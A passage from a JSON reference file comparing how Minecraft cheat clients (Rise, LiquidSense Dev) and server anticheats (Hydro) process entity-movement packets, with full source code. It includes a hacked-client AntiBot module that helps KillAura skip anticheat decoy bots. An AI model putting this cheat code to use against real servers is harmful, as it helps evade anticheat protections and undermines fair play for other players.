      "anti_cheat_notes": "This is Rise's own anticheat for serverside-style protection of its users; the S14-derived position is rebuilt exactly as a server would, so the checks inherit the server's blind spots (they only see what the server sent, which is all the server knows).",
      "variations": "SpeedA, EagleA and GroundSpoofA/B are separate checks over the same PlayerData; PacketUtil.isRelMove / isLookMove in dev/rise/anticheat/util/PacketUtil classify the subclasses."
     },
     {
      "name": "PacketType (translation component)",
      "found_in": [
       "Rise 6.1.30",
       "Rise 6.2.4"
      ],
      "purpose": "Maintain a per-entity position cache that mirrors server state independently of the vanilla interpolation, fed by the S14 subclasses, S18, S19 and spawn packets.",
      "how_it_works": "An enum of packet classes with a BiFunction per entry: ENTITY_REL_MOVE adds deltas to the cached Position, ENTITY_LOOK_MOVE and ENTITY_LOOK replace yaw/pitch (returning null when no entry exists), ENTITY_TELEPORT sets the entry to absolute coordinates, DESTROY_ENTITY removes it, and ENTITY_HEAD_LOOK writes the decoded head yaw into the yaw slot. Decoding is / 32.0 for position and * 360 / 256 for angles.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/component/impl/player/translation/PacketType.java =====\npackage com.alan.clients.component.impl.player.translation;\n\nimport lombok.Getter;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.server.*;\n\nimport java.util.Map;\nimport java.util.function.BiFunction;\n\npublic enum PacketType {\n    SPAWN_MOB(S0FPacketSpawnMob.class, (packet, entityPositions) -> {\n        S0FPacketSpawnMob spawnMobPacket = (S0FPacketSpawnMob) packet;\n        int entityId = spawnMobPacket.getEntityID();\n        double posX = spawnMobPacket.getX() / 32.0;\n        double posY = spawnMobPacket.getY() / 32.0;\n        double posZ = spawnMobPacket.getZ() / 32.0;\n        float yaw = (spawnMobPacket.getYaw() * 360) / 256.0F;\n        float pitch = (spawnMobPacket.getPitch() * 360) / 256.0F;\n\n        Position newPosition = new Position(posX, posY, posZ, yaw, pitch);\n        entityPositions.put(entityId, newPosition);\n        return entityPositions;\n    }),\n\n    ENTITY_TELEPORT(S18PacketEntityTeleport.class, (packet, entityPositions) -> {\n        S18PacketEntityTeleport teleportPacket = (S18PacketEntityTeleport) packet;\n        int entityId = teleportPacket.getEntityId();\n        double posX = teleportPacket.getX() / 32.0;\n        double posY = teleportPacket.getY() / 32.0;\n        double posZ = teleportPacket.getZ() / 32.0;\n        float yaw = (teleportPacket.getYaw() * 360) / 256.0F;\n        float pitch = (teleportPacket.getPitch() * 360) / 256.0F;\n\n        Position newPosition = new Position(posX, posY, posZ, yaw, pitch);\n        entityPositions.put(entityId, newPosition);\n        return entityPositions;\n    }),\n\n    ENTITY_REL_MOVE(S14PacketEntity.S15PacketEntityRelMove.class, (packet, entityPositions) -> {\n        S14PacketEntity.S15PacketEntityRelMove relMovePacket = (S14PacketEntity.S15PacketEntityRelMove) packet;\n        int entityId = relMovePacket.entityId;\n\n        Position currentPosition = entityPositions.get(entityId);\n\n        if (currentPosition != null) {\n            double newPosX = currentPosition.posX + relMovePacket.getPosX() / 32.0;\n            double newPosY = currentPosition.posY + relMovePacket.getPosY() / 32.0;\n            double newPosZ = currentPosition.posZ + relMovePacket.getPosZ() / 32.0;\n            float yaw = currentPosition.yaw;\n            float pitch = currentPosition.pitch;\n\n            Position newPosition = new Position(newPosX, newPosY, newPosZ, yaw, pitch);\n            entityPositions.put(entityId, newPosition);\n            return entityPositions;\n        }\n\n        return null;\n    }),\n\n    ENTITY_LOOK_MOVE(S14PacketEntity.S17PacketEntityLookMove.class, (packet, entityPositions) -> {\n        S14PacketEntity.S17PacketEntityLookMove lookMovePacket = (S14PacketEntity.S17PacketEntityLookMove) packet;\n        int entityId = lookMovePacket.getEntityId();\n        double deltaX = lookMovePacket.getPosX() / 32.0;\n        double deltaY = lookMovePacket.getPosY() / 32.0;\n        double deltaZ = lookMovePacket.getPosZ() / 32.0;\n        float yaw = (lookMovePacket.getYaw() * 360) / 256.0F;\n        float pitch = (lookMovePacket.getPitch() * 360) / 256.0F;\n\n        Position currentPosition = entityPositions.get(entityId);\n\n        if (currentPosition != null) {\n            double newPosX = currentPosition.posX + deltaX;\n            double newPosY = currentPosition.posY + deltaY;\n            double newPosZ = currentPosition.posZ + deltaZ;\n\n            // Ensure yaw and pitch are updated\n            Position newPosition = new Position(newPosX, newPosY, newPosZ, yaw, pitch);\n            entityPositions.put(entityId, newPosition);\n            return entityPositions;\n        }\n\n        return null;\n    }),\n\n    ENTITY_LOOK(S14PacketEntity.S16PacketEntityLook.class, (packet, entityPositions) -> {\n        S14PacketEntity.S16PacketEntityLook lookPacket = (S14PacketEntity.S16PacketEntityLook) packet;\n        int entityId = lookPacket.getEntityId();\n        float yaw = (lookPacket.getYaw() * 360) / 256.0F;\n        float pitch = (lookPacket.getPitch() * 360) / 256.0F;\n\n        Position currentPosition = entityPositions.get(entityId);\n\n        if (currentPosition != null) {\n            Position newPosition = new Position(currentPosition.posX, currentPosition.posY, currentPosition.posZ, yaw, pitch);\n            entityPositions.put(entityId, newPosition);\n            return entityPositions;\n        }\n\n        return null;\n    }),\n\n    DESTROY_ENTITY(S13PacketDestroyEntities.class, (packet, entityPositions) -> {\n        S13PacketDestroyEntities destroyEntitiesPacket = (S13PacketDestroyEntities) packet;\n        int[] entityIds = destroyEntitiesPacket.getEntityIDs();\n\n        for (int entityId : entityIds) {\n            entityPositions.remove(entityId);\n        }\n\n        return entityPositions;\n    }),\n\n    ENTITY_HEAD_LOOK(S19PacketEntityHeadLook.class, (packet, entityPositions) -> {\n        S19PacketEntityHeadLook headLookPacket = (S19PacketEntityHeadLook) packet;\n        int entityId = headLookPacket.getEntityId();\n        float headYaw = (headLookPacket.getYaw() * 360) / 256.0F;\n\n        Position currentPosition = entityPositions.get(entityId);\n\n        if (currentPosition != null) {\n            Position newPosition = new Position(currentPosition.posX, currentPosition.posY, currentPosition.posZ, headYaw, currentPosition.pitch);\n            entityPositions.put(entityId, newPosition);\n            return entityPositions;\n        }\n\n        return null;\n    });\n\n    @Getter\n    private final Class<? extends Packet<?>> packetClass;\n    private final BiFunction<Packet<?>, Map<Integer, Position>, Map<Integer, Position>> handler;\n\n    PacketType(Class<? extends Packet<?>> packetClass, BiFunction<Packet<?>, Map<Integer, Position>, Map<Integer, Position>> handler) {\n        this.packetClass = packetClass;\n        this.handler = handler;\n    }\n\n    public Map<Integer, Position> handle(Packet<?> packet, Map<Integer, Position> positions) {\n        return handler.apply(packet, positions);\n    }\n}\n\n// NOTE (AI): The translation component maintains a per-entity Position cache that mirrors server state\n// NOTE (AI): independently of the vanilla renderer interpolation. ENTITY_REL_MOVE accumulates deltas,\n// NOTE (AI): ENTITY_LOOK_MOVE and ENTITY_LOOK update yaw/pitch only when an entry already exists, and\n// NOTE (AI): ENTITY_TELEPORT replaces the entry with absolute coordinates. The look-only handlers return\n// NOTE (AI): null when the entity was never spawned into the cache (S0F/S0C never seen).\n",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/component/impl/player/translation/PacketType.java",
      "vanilla_hook": "Invoked from the translation component's packet receive path.",
      "anti_cheat_notes": "Pure client-side bookkeeping with no server interaction. The look-only handlers returning null for unknown entities means the cache silently drops rotations until a spawn packet seeds it, a quirk downstream aim code must tolerate.",
      "variations": "Identical in Rise 6.1.30 and 6.2.4; the corpus path differs only by the Client-release2/Client/src/main/java prefix."
     },
     {
      "name": "AntiBot (movement tracking)",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Classify anti-cheat bots by their S14 movement stream: which entities ever touch ground, fly in air, or move while reporting onGround.",
      "how_it_works": "onPacket fires for every S14PacketEntity: if the entity is a player, record the entity id in the ground/air lists by the onGround bit, and count in invaildGround every onGround packet where prevPosY != posY (halved on air packets). isBot() consumes the lists: groundValue flags entities never seen on ground, airValue flags never-seen-in-air, invaildGroundValue flags a count >= 10, plus the usual name/tab/derp checks.",
      "detailed_code": "// ===== FILE: LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/misc/AntiBot.java =====\n/*\n * LiquidBounce Hacked Client\n * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge.\n * https://github.com/CCBlueX/LiquidBounce/\n */\npackage net.ccbluex.liquidbounce.features.module.modules.misc;\n\nimport com.google.common.collect.ComparisonChain;\nimport com.google.common.collect.Ordering;\nimport net.ccbluex.liquidbounce.LiquidBounce;\nimport net.ccbluex.liquidbounce.event.*;\nimport net.ccbluex.liquidbounce.features.module.Module;\nimport net.ccbluex.liquidbounce.features.module.ModuleCategory;\nimport net.ccbluex.liquidbounce.features.module.ModuleInfo;\nimport net.ccbluex.liquidbounce.utils.EntityUtils;\nimport net.ccbluex.liquidbounce.utils.misc.StringUtils;\nimport net.ccbluex.liquidbounce.utils.render.ColorUtils;\nimport net.ccbluex.liquidbounce.utils.timer.TimerOther;\nimport net.ccbluex.liquidbounce.value.BoolValue;\nimport net.ccbluex.liquidbounce.value.FloatValue;\nimport net.ccbluex.liquidbounce.value.IntegerValue;\nimport net.ccbluex.liquidbounce.value.ListValue;\nimport net.minecraft.client.Minecraft;\nimport net.minecraft.client.network.NetHandlerPlayClient;\nimport net.minecraft.client.network.NetworkPlayerInfo;\nimport net.minecraft.entity.Entity;\nimport net.minecraft.entity.EntityLivingBase;\nimport net.minecraft.entity.player.EntityPlayer;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C01PacketChatMessage;\nimport net.minecraft.network.play.server.S02PacketChat;\nimport net.minecraft.network.play.server.S0BPacketAnimation;\nimport net.minecraft.network.play.server.S14PacketEntity;\nimport net.minecraft.scoreboard.ScorePlayerTeam;\nimport net.minecraft.util.ChatComponentText;\nimport net.minecraft.world.WorldSettings;\nimport net.minecraftforge.fml.relauncher.Side;\nimport net.minecraftforge.fml.relauncher.SideOnly;\nimport tv.twitch.chat.ChatEvent;\n\nimport java.util.*;\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n\n@ModuleInfo(name = \"AntiBot\", description = \"Prevents KillAura from attacking AntiCheat bots.\", category = ModuleCategory.MISC)\npublic class AntiBot extends Module {\n\n    public static final List<String> playerName = new ArrayList<>();\n    private static List<EntityPlayer> invalid = new ArrayList<>();\n    private static List<EntityPlayer> removed = new ArrayList<>();\n\n    private final IntegerValue livingTime = new IntegerValue(\"LivingTimeValue\", 160, 0, 500);\n    private final BoolValue killer = new BoolValue(\"BotKiller\", true);\n    private final BoolValue tabValue = new BoolValue(\"Tab\", true);\n    private final ListValue tabModeValue = new ListValue(\"TabMode\", new String[]{\"Equals\", \"Contains\"}, \"Contains\");\n    private final BoolValue entityIDValue = new BoolValue(\"EntityID\", true);\n    private final BoolValue colorValue = new BoolValue(\"Color\", false);\n    private final BoolValue livingTimeValue = new BoolValue(\"LivingTime\", false);\n    private final BoolValue groundValue = new BoolValue(\"Ground\", true);\n    private final BoolValue airValue = new BoolValue(\"Air\", false);\n    private final BoolValue invaildGroundValue = new BoolValue(\"InvaildGround\", true);\n    private final BoolValue swingValue = new BoolValue(\"Swing\", false);\n    private final BoolValue healthValue = new BoolValue(\"Health\", false);\n    private final BoolValue derpValue = new BoolValue(\"Derp\", true);\n    private final BoolValue wasInvisibleValue = new BoolValue(\"WasInvisible\", false);\n    private final BoolValue armorValue = new BoolValue(\"Armor\", false);\n    private final BoolValue pingValue = new BoolValue(\"Ping\", false);\n    private final BoolValue needHitValue = new BoolValue(\"NeedHit\", false);\n    private final BoolValue duplicateInWorldValue = new BoolValue(\"DuplicateInWorld\", false);\n    private final BoolValue duplicateInTabValue = new BoolValue(\"DuplicateInTab\", false);\n    private final BoolValue hytBedwarsValue = new BoolValue(\"HYTBedwars\", false);\n\n    private final List<Integer> ground = new ArrayList<>();\n    private final List<Integer> air = new ArrayList<>();\n    private final Map<Integer, Integer> invaildGround = new HashMap<>();\n    private final List<Integer> swing = new ArrayList<>();\n    private final List<Integer> invisible = new ArrayList<>();\n    private final List<Integer> hitted = new ArrayList<>();\n    TimerOther lastRemoved = new TimerOther();\n    private TimerOther timer = new TimerOther();\n\n    @Override\n    public void onDisable() {\n        mc.ingameGUI.getChatGUI().addToSentMessages(\"test\");\n        clearAll();\n        super.onDisable();\n    }\n    @EventTarget\n    public void onUpdate(UpdateEvent e) {\n        if (killer.get()) {\n            if (!removed.isEmpty()) {\n                if (lastRemoved.delay(1000)) {\n                    if (removed.size() == 1) {\n                        mc.thePlayer.addChatMessage(new ChatComponentText(\"§b\"+removed.size() + \" bot has been removed\"));\n                    } else {\n                        mc.thePlayer.addChatMessage(new ChatComponentText(\"§f\"+removed.size() + \" bots has been removed\"));\n                    }\n                    lastRemoved.reset();\n                    removed.clear();\n                }\n            }\n        }\n        if (!invalid.isEmpty() && timer.delay(1000)) {\n            invalid.clear();\n            timer.reset();\n        }\n        // Loop through entity list\n        for (Object o : mc.theWorld.getLoadedEntityList()) {\n            if (o instanceof EntityPlayer) {\n                EntityPlayer ent = (EntityPlayer) o;\n                //Make sure it's not the local player + they are in a worrying distance. Ignore them if they're already invalid.\n                if (ent != mc.thePlayer && !invalid.contains(ent)) {\n\n                    String formated = ent.getDisplayName().getFormattedText();\n                    String custom = ent.getCustomNameTag();\n                    String name = ent.getName();\n\n                    if (ent.isInvisible() && !formated.startsWith(\"§c\") && formated.endsWith(\"§r\") && custom.equals(name)) {\n                        double diffX = Math.abs(ent.posX - mc.thePlayer.posX);\n                        double diffY = Math.abs(ent.posY - mc.thePlayer.posY);\n                        double diffZ = Math.abs(ent.posZ - mc.thePlayer.posZ);\n                        double diffH = Math.sqrt(diffX * diffX + diffZ * diffZ);\n                        if (diffY < 13 && diffY > 10 && diffH < 3) {\n                            List<EntityPlayer> list = getTabPlayerList();\n                            if (!list.contains(ent)) {\n                                if (killer.get() != null) {\n                                    lastRemoved.reset();\n                                    removed.add(ent);\n                                    mc.theWorld.removeEntity(ent);\n                                }\n                                invalid.add(ent);\n                            }\n\n                        }\n\n                    }\n                    //SHOP BEDWARS\n                    if (!formated.startsWith(\"§\") && formated.endsWith(\"§r\")) {\n                        invalid.add(ent);\n                    }\n                    if (ent.isInvisible()) {\n                        //BOT INVISIBLES IN GAME\n                        if (!custom.equalsIgnoreCase(\"\") && custom.toLowerCase().contains(\"§c§c\") && name.contains(\"§c\")) {\n                            if (killer.get() != null) {\n                                lastRemoved.reset();\n                                removed.add(ent);\n                                mc.theWorld.removeEntity(ent);\n                            }\n                            invalid.add(ent);\n                        }\n                    }\n                    //WATCHDOG BOT\n                    if (!custom.equalsIgnoreCase(\"\") && custom.toLowerCase().contains(\"§c\") && custom.toLowerCase().contains(\"§r\") || custom.endsWith(\"§c\")) {\n                        if (killer.get() != null) {\n                            lastRemoved.reset();\n                            removed.add(ent);\n                            mc.theWorld.removeEntity(ent);\n                        }\n                        invalid.add(ent);\n                    }\n\n                    //BOT LOBBY\n                    if (formated.contains(\"§8[NPC]\")) {\n                        invalid.add(ent);\n                    }\n                    if (!formated.contains(\"§c\") && !custom.equalsIgnoreCase(\"\")) {\n\n                        invalid.add(ent);\n                    }\n                }\n            }\n        }\n    }\n\n    public static List<EntityPlayer> getTabPlayerList() {\n        Minecraft mc = AntiBot.mc;\n        NetHandlerPlayClient var4 = mc.thePlayer.sendQueue;\n        ArrayList list = new ArrayList();\n        List players = Ordering.from(new PlayerComparator()).sortedCopy((Iterable) var4.getPlayerInfoMap());\n        for (Object o : players) {\n            NetworkPlayerInfo info = (NetworkPlayerInfo) o;\n            if (info == null) {\n                continue;\n            }\n            ArrayList list2 = list;\n            list2.add(mc.theWorld.getPlayerEntityByName(info.getGameProfile().getName()));\n        }\n        return (List<EntityPlayer>) list;\n    }\n\n    @EventTarget\n    public void onPacket(final PacketEvent event) {\n        if (mc.thePlayer == null || mc.theWorld == null)\n            return;\n\n        final Packet<?> packet = event.getPacket();\n\n\n        if (packet instanceof S02PacketChat) {\n            if (hytBedwarsValue.get()) {\n                S02PacketChat chatMessage = (S02PacketChat) packet;\n\n                Matcher matcher = Pattern.compile(\"杀死了 (.*?)\\\\(\").matcher(chatMessage.getChatComponent().getUnformattedText());\n                Matcher matcher2 = Pattern.compile(\"> (.*?)\\\\(\").matcher(chatMessage.getChatComponent().getUnformattedText());\n                if (matcher.find()) {\n                    String name = matcher.group(1);\n                    if (!name.equals(\"\")) {\n                        if (!AntiBot.playerName.contains(name)) {\n                            AntiBot.playerName.add(name);\n//                        mc.thePlayer.addChatMessage(new ChatComponentText(\"已加入列表: \" + name));\n                            new Thread(new Runnable() {\n                                @Override\n                                public void run() {\n                                    try {\n                                        Thread.sleep(6000);\n                                        playerName.remove(name);\n                                    } catch (InterruptedException ex) {\n                                        ex.printStackTrace();\n                                    }\n                                }\n                            }).start();\n                        }\n                    }\n                }\n                if (matcher2.find()) {\n                    String name = matcher2.group(1);\n                    if (!name.equals(\"\")) {\n                        if (!AntiBot.playerName.contains(name)) {\n                            AntiBot.playerName.add(name);\n//                        mc.thePlayer.addChatMessage(new ChatComponentText(\"已加入列表: \" + name));\n                            new Thread(new Runnable() {\n                                @Override\n                                public void run() {\n                                    try {\n                                        Thread.sleep(6000);\n                                        playerName.remove(name);\n                                    } catch (InterruptedException ex) {\n                                        ex.printStackTrace();\n                                    }\n                                }\n                            }).start();\n                        }\n                    }\n                }\n            }\n        }\n\n        if (packet instanceof S14PacketEntity) {\n            final S14PacketEntity packetEntity = (S14PacketEntity) event.getPacket();\n            final Entity entity = packetEntity.getEntity(mc.theWorld);\n\n            if (entity instanceof EntityPlayer) {\n                if (packetEntity.getOnGround() && !ground.contains(entity.getEntityId()))\n                    ground.add(entity.getEntityId());\n\n                if (!packetEntity.getOnGround() && !air.contains(entity.getEntityId()))\n                    air.add(entity.getEntityId());\n\n                if (packetEntity.getOnGround()) {\n                    if (entity.prevPosY != entity.posY)\n                        invaildGround.put(entity.getEntityId(), invaildGround.getOrDefault(entity.getEntityId(), 0) + 1);\n                } else {\n                    final int currentVL = invaildGround.getOrDefault(entity.getEntityId(), 0) / 2;\n\n                    if (currentVL <= 0)\n                        invaildGround.remove(entity.getEntityId());\n                    else\n                        invaildGround.put(entity.getEntityId(), currentVL);\n                }\n\n                if (entity.isInvisible() && !invisible.contains(entity.getEntityId()))\n                    invisible.add(entity.getEntityId());\n            }\n        }\n\n        if (packet instanceof S0BPacketAnimation) {\n            final S0BPacketAnimation packetAnimation = (S0BPacketAnimation) event.getPacket();\n            final Entity entity = mc.theWorld.getEntityByID(packetAnimation.getEntityID());\n\n            if (entity instanceof EntityLivingBase && packetAnimation.getAnimationType() == 0 && !swing.contains(entity.getEntityId()))\n                swing.add(entity.getEntityId());\n        }\n    }\n\n    @EventTarget\n    public void onAttack(final AttackEvent e) {\n        final Entity entity = e.getTargetEntity();\n\n        if (entity instanceof EntityLivingBase && !hitted.contains(entity.getEntityId()))\n            hitted.add(entity.getEntityId());\n    }\n\n    @EventTarget\n    public void onWorld(final WorldEvent event) {\n        clearAll();\n    }\n\n    private void clearAll() {\n        hitted.clear();\n        swing.clear();\n        ground.clear();\n        invaildGround.clear();\n        invisible.clear();\n        playerName.clear();\n    }\n\n    public static boolean isBot(final EntityLivingBase entity) {\n        if (!(entity instanceof EntityPlayer))\n            return false;\n\n        final AntiBot antiBot = (AntiBot) LiquidBounce.moduleManager.getModule(AntiBot.class);\n\n//        mc.ingameGUI.getChatGUI().addToSentMessages(\"tick: \" + entity.ticksExisted);\n\n        if (antiBot == null || !antiBot.getState())\n            return false;\n        if (antiBot.colorValue.get() && !entity.getDisplayName().getFormattedText()\n                .replace(\"§r\", \"\").contains(\"§\"))\n            return true;\n\n//        mc.thePlayer.addChatMessage(new ChatComponentText(entity.getName()\n//                + \" \" + playerName.contains(entity.getName())\n//                + \" \" + playerName.size()));\n        if (antiBot.hytBedwarsValue.get() && playerName.contains(entity.getName()))\n            return true;\n\n        if (antiBot.livingTimeValue.get() && entity.ticksExisted < antiBot.livingTime.get())\n            return true;\n\n        if (antiBot.groundValue.get() && !antiBot.ground.contains(entity.getEntityId()))\n            return true;\n\n        if (antiBot.airValue.get() && !antiBot.air.contains(entity.getEntityId()))\n            return true;\n\n        if (antiBot.swingValue.get() && !antiBot.swing.contains(entity.getEntityId()))\n            return true;\n\n        if (antiBot.healthValue.get() && entity.getHealth() > 20F)\n            return true;\n\n        if (antiBot.entityIDValue.get() && (entity.getEntityId() >= 1000000000 || entity.getEntityId() <= -1))\n            return true;\n\n        if (antiBot.derpValue.get() && (entity.rotationPitch > 90F || entity.rotationPitch < -90F))\n            return true;\n\n        if (antiBot.wasInvisibleValue.get() && antiBot.invisible.contains(entity.getEntityId()))\n            return true;\n\n        if (antiBot.armorValue.get()) {\n            final EntityPlayer player = (EntityPlayer) entity;\n\n            if (player.inventory.armorInventory[0] == null && player.inventory.armorInventory[1] == null &&\n                    player.inventory.armorInventory[2] == null && player.inventory.armorInventory[3] == null)\n                return true;\n        }\n\n        if (antiBot.pingValue.get()) {\n            EntityPlayer player = (EntityPlayer) entity;\n\n            if (mc.getNetHandler().getPlayerInfo(player.getUniqueID()).getResponseTime() == 0)\n                return true;\n        }\n\n        if (antiBot.needHitValue.get() && !antiBot.hitted.contains(entity.getEntityId()))\n            return true;\n\n        if (antiBot.invaildGroundValue.get() && antiBot.invaildGround.getOrDefault(entity.getEntityId(), 0) >= 10)\n            return true;\n\n        if (antiBot.tabValue.get()) {\n            final boolean equals = antiBot.tabModeValue.get().equalsIgnoreCase(\"Equals\");\n            final String targetName = ColorUtils.stripColor(entity.getDisplayName().getFormattedText());\n\n            if (targetName != null) {\n                for (final NetworkPlayerInfo networkPlayerInfo : mc.getNetHandler().getPlayerInfoMap()) {\n                    final String networkName = ColorUtils.stripColor(EntityUtils.getName(networkPlayerInfo));\n\n                    if (networkName == null)\n                        continue;\n\n                    if (equals ? targetName.equals(networkName) : targetName.contains(networkName))\n                        return false;\n                }\n\n                return true;\n            }\n        }\n\n        if (antiBot.duplicateInWorldValue.get()) {\n            if (mc.theWorld.loadedEntityList.stream()\n                    .filter(currEntity -> currEntity instanceof EntityPlayer && ((EntityPlayer) currEntity)\n                            .getDisplayNameString().equals(((EntityPlayer) currEntity).getDisplayNameString()))\n                    .count() > 1)\n                return true;\n        }\n\n        if (antiBot.duplicateInTabValue.get()) {\n            if (mc.getNetHandler().getPlayerInfoMap().stream()\n                    .filter(networkPlayer -> entity.getName().equals(ColorUtils.stripColor(EntityUtils.getName(networkPlayer))))\n                    .count() > 1)\n                return true;\n        }\n\n        return entity.getName().isEmpty() || entity.getName().equals(mc.thePlayer.getName());\n    }\n\n    @SideOnly(Side.CLIENT)\n    public static class PlayerComparator implements Comparator<NetworkPlayerInfo> {\n        private PlayerComparator() {\n        }\n\n        public int compare(NetworkPlayerInfo p_compare_1_, NetworkPlayerInfo p_compare_2_) {\n            ScorePlayerTeam scoreplayerteam = p_compare_1_.getPlayerTeam();\n            ScorePlayerTeam scoreplayerteam1 = p_compare_2_.getPlayerTeam();\n            return ComparisonChain.start()\n                    .compareTrueFirst(p_compare_1_.getGameType() != WorldSettings.GameType.SPECTATOR,\n                            p_compare_2_.getGameType() != WorldSettings.GameType.SPECTATOR)\n                    .compare(scoreplayerteam != null ? scoreplayerteam.getRegisteredName() : \"\",\n                            scoreplayerteam1 != null ? scoreplayerteam1.getRegisteredName() : \"\")\n                    .compare(p_compare_1_.getGameProfile().getName(), p_compare_2_.getGameProfile().getName()).result();\n        }\n    }\n}\n// NOTE (AI): The S14 consumer only records onGround transitions into per-entity id lists; isBot() then applies the configured heuristics. Note invaildGround counts onGround packets with a y change and halves the count on air packets, a teleporting-bot heuristic.\n",
      "code_source": "LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/misc/AntiBot.java",
      "vanilla_hook": "PacketEvent (receive), UpdateEvent for the removal loop, AttackEvent for hit tracking.",
      "anti_cheat_notes": "The bot checks feed isBot(), which per the module description KillAura consults before targeting; the movement-derived heuristics (never grounded, invalid ground) are signature based and only as good as the S14 stream the server sends.",
      "variations": "The invaildGround counter treats onGround with a y change as suspicious, a heuristic aimed at teleporting bots; no other corpus client derives bot state from S14."
     }
    ],
    "general_hooks": "PacketReceiveEvent in Rise 6.x for modules; the Rise 5.99 anticheat receives every packet through PlayerData.handle instead of an event bus. LiquidSense Dev re-dispatches S14 as an EntityMovementEvent from its handleEntityMovement mixin on NetHandlerPlayClient; its AntiBot reads the raw packet on the client PacketEvent.",
    "client_variations": "Rise 5.99 anticheat decodes S14 via MCP-style accessors (func_149062_c, func_149060_h); Rise 6.x uses getPosX/getYaw accessors, and WatchdogVelocity switches on the packet class with Java 17 pattern matching while LegitReach and PacketType use instanceof chains. Deltas are consistently divided by 32.0 and angles multiplied by 360/256 across every client. November Recode 2.0 has no S14 corpus hit. LiquidSense Dev reads S14 in AntiBot and re-dispatches it as EntityMovementEvent from the NetHandlerPlayClient mixin.",
    "related": [
     "S18PacketEntityTeleport",
     "S19PacketEntityHeadLook",
     "S12PacketEntityVelocity",
     "S08PacketPlayerPosLook"
    ],
    "anticheat": {
     "overview": "Server-side anticheats never see S14 on the wire: it is a clientbound announcement of entity relative movement, rotation and ground state. What they do see is the same stream on the send side, and the richest anticheats use it to keep a lag-compensated copy of every tracked entity's position so reach, phase and velocity checks compare the player against where the server actually believes entities are. The corpus splits into position-replication trackers (Hydro, Kauri, AntiHaxerman), wrappers that classify the S14 subclasses into a packet pipeline (Frequency, Artemis, FlopAC), and reach checks that either consume the replicated positions or, in ThotPatrol's case, admit that rel-move plus AABB would beat their own Bukkit-based math.",
     "checks": [
      {
       "name": "TrackedEntity (entity position replication)",
       "found_in": [
        "Incognitolol-Hydro"
       ],
       "purpose": "Rebuild other entities' positions from the S14 relative-move stream so reach and aim checks can query server-truth entity locations instead of trusting the player's rendered view.",
       "how_it_works": "handleMovement(deltaX, deltaY, deltaZ) wraps the S14 byte deltas into an EntityMovement of type RELATIVE, marks the entity as awaiting confirmation, and applies the deltas to every TrackedPosition in the queue. handlePostFlying advances the queue when the player's next flying packet confirms the tick, and handlePostTransaction removes positions that the confirmed state has passed. Confirmed and pending positions are exposed separately (getX/getY/getZ versus getPendingPosition), so checks can evaluate both the server-known location and the one the client has just been told about.",
       "detects": "Position desync between the server's entity stream and the client's render state, and provides the entity location used to verify reach against delayed or interpolated entity positions.",
       "detailed_code": "// ===== FILE: Incognitolol-Hydro, src/main/java/integral/studios/hydro/util/player/tracker/entity/TrackedEntity.java =====\npackage integral.studios.hydro.util.player.tracker.entity;\n\nimport lombok.Getter;\n\nimport java.util.ArrayDeque;\nimport java.util.Deque;\n\n\n@Getter\npublic class TrackedEntity {\n    private final Deque<TrackedPosition> positions = new ArrayDeque<>();\n    private TrackedPosition confirmedPosition;\n    private TrackedPosition pendingPosition;\n\n    private EntityMovement pendingMovement = EntityMovement.none();\n    private boolean awaitingConfirmation = false;\n\n    private final int entityId;\n\n    public TrackedEntity(int entityId, double x, double y, double z) {\n        this.entityId = entityId;\n        TrackedPosition initialPos = new TrackedPosition(x, y, z);\n        this.positions.add(initialPos);\n        this.confirmedPosition = initialPos;\n        this.pendingPosition = initialPos.copy();\n    }\n\n    public TrackedEntity(double x, double y, double z) {\n        this(-1, x, y, z);\n    }\n\n\n    public void handleMovement(double deltaX, double deltaY, double deltaZ) {\n        pendingMovement = EntityMovement.relative(deltaX, deltaY, deltaZ);\n        awaitingConfirmation = true;\n\n        // Apply movement to all tracked positions\n        positions.forEach(pos -> pos.handleMovement(deltaX, deltaY, deltaZ));\n    }\n\n    public void handleTeleport(double x, double y, double z) {\n        pendingMovement = EntityMovement.absolute(x, y, z);\n        awaitingConfirmation = true;\n\n        // Apply teleport to all tracked positions\n        positions.forEach(pos -> pos.handleTeleport(x, y, z));\n    }\n\n    public void handlePostTransaction() {\n        if (!awaitingConfirmation) {\n            return;\n        }\n\n        awaitingConfirmation = false;\n\n        // Clean up old positions that match the confirmed position\n        positions.removeIf(pos -> pos.equals(confirmedPosition));\n\n        // Update confirmed position if we have new positions\n        if (!positions.isEmpty()) {\n            confirmedPosition = positions.poll();\n            // Keep at least one position in the queue\n            if (positions.isEmpty()) {\n                positions.add(confirmedPosition.copy());\n            }\n        }\n    }\n\n\n    public void handlePostFlying() {\n        // Apply pending movement if we're waiting for confirmation\n        if (awaitingConfirmation && pendingMovement.hasMovement()) {\n            // Create new position state for the pending movement\n            TrackedPosition newPosition = confirmedPosition.copy();\n\n            // Apply the movement based on type\n            if (pendingMovement.getType() == EntityMovement.Type.ABSOLUTE) {\n                newPosition.handleTeleport(\n                        pendingMovement.getX(),\n                        pendingMovement.getY(),\n                        pendingMovement.getZ()\n                );\n            } else if (pendingMovement.getType() == EntityMovement.Type.RELATIVE) {\n                newPosition.handleMovement(\n                        pendingMovement.getX(),\n                        pendingMovement.getY(),\n                        pendingMovement.getZ()\n                );\n            }\n\n            // Add to tracking queue if not already present\n            if (!positions.contains(newPosition)) {\n                positions.add(newPosition);\n            }\n\n            pendingPosition = newPosition;\n        }\n\n        // Update all positions (interpolation)\n        positions.forEach(TrackedPosition::onLivingUpdate);\n        confirmedPosition.onLivingUpdate();\n    }\n\n\n    public double getX() {\n        return confirmedPosition.getPosX();\n    }\n\n\n    public double getY() {\n        return confirmedPosition.getPosY();\n    }\n\n    public double getZ() {\n        return confirmedPosition.getPosZ();\n    }\n\n    public TrackedPosition getPendingPosition() {\n        return awaitingConfirmation ? pendingPosition : confirmedPosition;\n    }\n\n    public int getPositionQueueSize() {\n        return positions.size();\n    }\n\n\n    public boolean hasPendingMovement() {\n        return awaitingConfirmation;\n    }\n\n    public double getPendingDistance() {\n        if (!awaitingConfirmation) return 0;\n\n        double dx = pendingPosition.getPosX() - confirmedPosition.getPosX();\n        double dy = 